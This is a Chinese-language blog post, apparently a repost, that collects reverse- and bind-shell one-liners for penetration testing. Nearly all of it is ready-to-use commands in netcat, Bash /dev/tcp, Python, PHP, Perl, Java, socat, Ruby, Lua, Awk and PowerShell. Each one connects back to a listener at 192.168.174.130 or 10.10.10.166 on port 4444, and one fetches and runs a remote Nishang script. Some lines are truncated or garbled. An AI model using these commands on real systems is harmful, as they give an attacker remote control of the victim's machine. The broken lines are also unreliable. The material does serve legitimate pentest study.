各种反弹shell方法总结
作者:互联网
获取shell的方法总结:
shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端主动连接服务器,就称为正向shell。如果客户端连接服务器,服务器想要获得客户端的shell,就称为反向shell。
反向shell通常在开启了防护措施的目标机器上,例如防火墙、端口转发等。
(1)正向shell
输入如下命令,监听目标主机的4444端口
nc -lvp 4444 -e /bin/bash // linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows
在本地或vps主机上连接目标的4444端口,即可获得目标主机的shell
nc 192.168.174.130 4444
(2)反向shell
输入如下命令,在本地或者vps主机上监听9999端口
nc -lvp 9999
在目标主机中输入如下命令,连接vps主机的9999端口
nc 192.168.174.130 9999 -e /bin/sh // linux
nc 192.168.174.130 9999 -e c:\windows\system32\cmd.exe // windows
正向shell:本地或vps将自己的shell传给服务器(端口监听在服务器上)。
反弹shell:目标机器将shell主动传给本地或vps(端口监听在本地vps上)。
4.在目标主机中没有nc时获得反向shell
(1)Python反向shell
Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(2)Bash反向shell
个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话
vps:nc -lvp 4444
bash -i >& /dev/tcp/192.168.174.130/4444 0>&1
(3)PHP反向shell
php -r '$sock=fsockopen("192.168.174.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
(4)Perl反向shell
perl -e 'use Socket;$i="192.168.174.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
第二种方式(linux):
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
第三种方式(windwos):
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->f
(5)Java脚本反弹shell
第一种:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
第二种:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.174.130/4444 0>&1"});
p.waitFor();
(6)socat 反弹shell
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.130:4444
(7)Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.174.130","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
第二种方式(linux):
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
第三种方式(windows):
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
(8)Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192。168.174.130','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
(9)Awk反弹shell
awk 'BEGIN{s="/inet/tcp/0/192.168.174.130/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
(10)exec反弹shell
exec 5<>/dev/tcp/192.168.174.130/4444 cat <&5 | while read line; do $line 2>&5 >&5; done
第二种方式:
0<&196;exec 196<>/dev/tcp/192.168.174.130/4444; sh <&196>&196 2>&196
(11)nc反弹shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.174.130 4444 >/tmp/f
(12)powershell反弹shell
apt-get install powshell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.174.130 -port 4444
(13)从原生的 shell 环境切换到linux的交互式 bash 环境
python -c "import pty;pty.spawn('/bin/bash')"
参考:https://www.anquanke.com/post/id/87017
https://www.cnblogs.com/sevck/p/5038203.html
https://blog.csdn.net/qiuyeyijian/article/details/102993592
https://blog.csdn.net/Kevinhanser/article/details/88920278
标签:总结,bin,shell,nc,192.168,4444,174.130,反弹 来源: https://www.cnblogs.com/micr067/p/12243860.html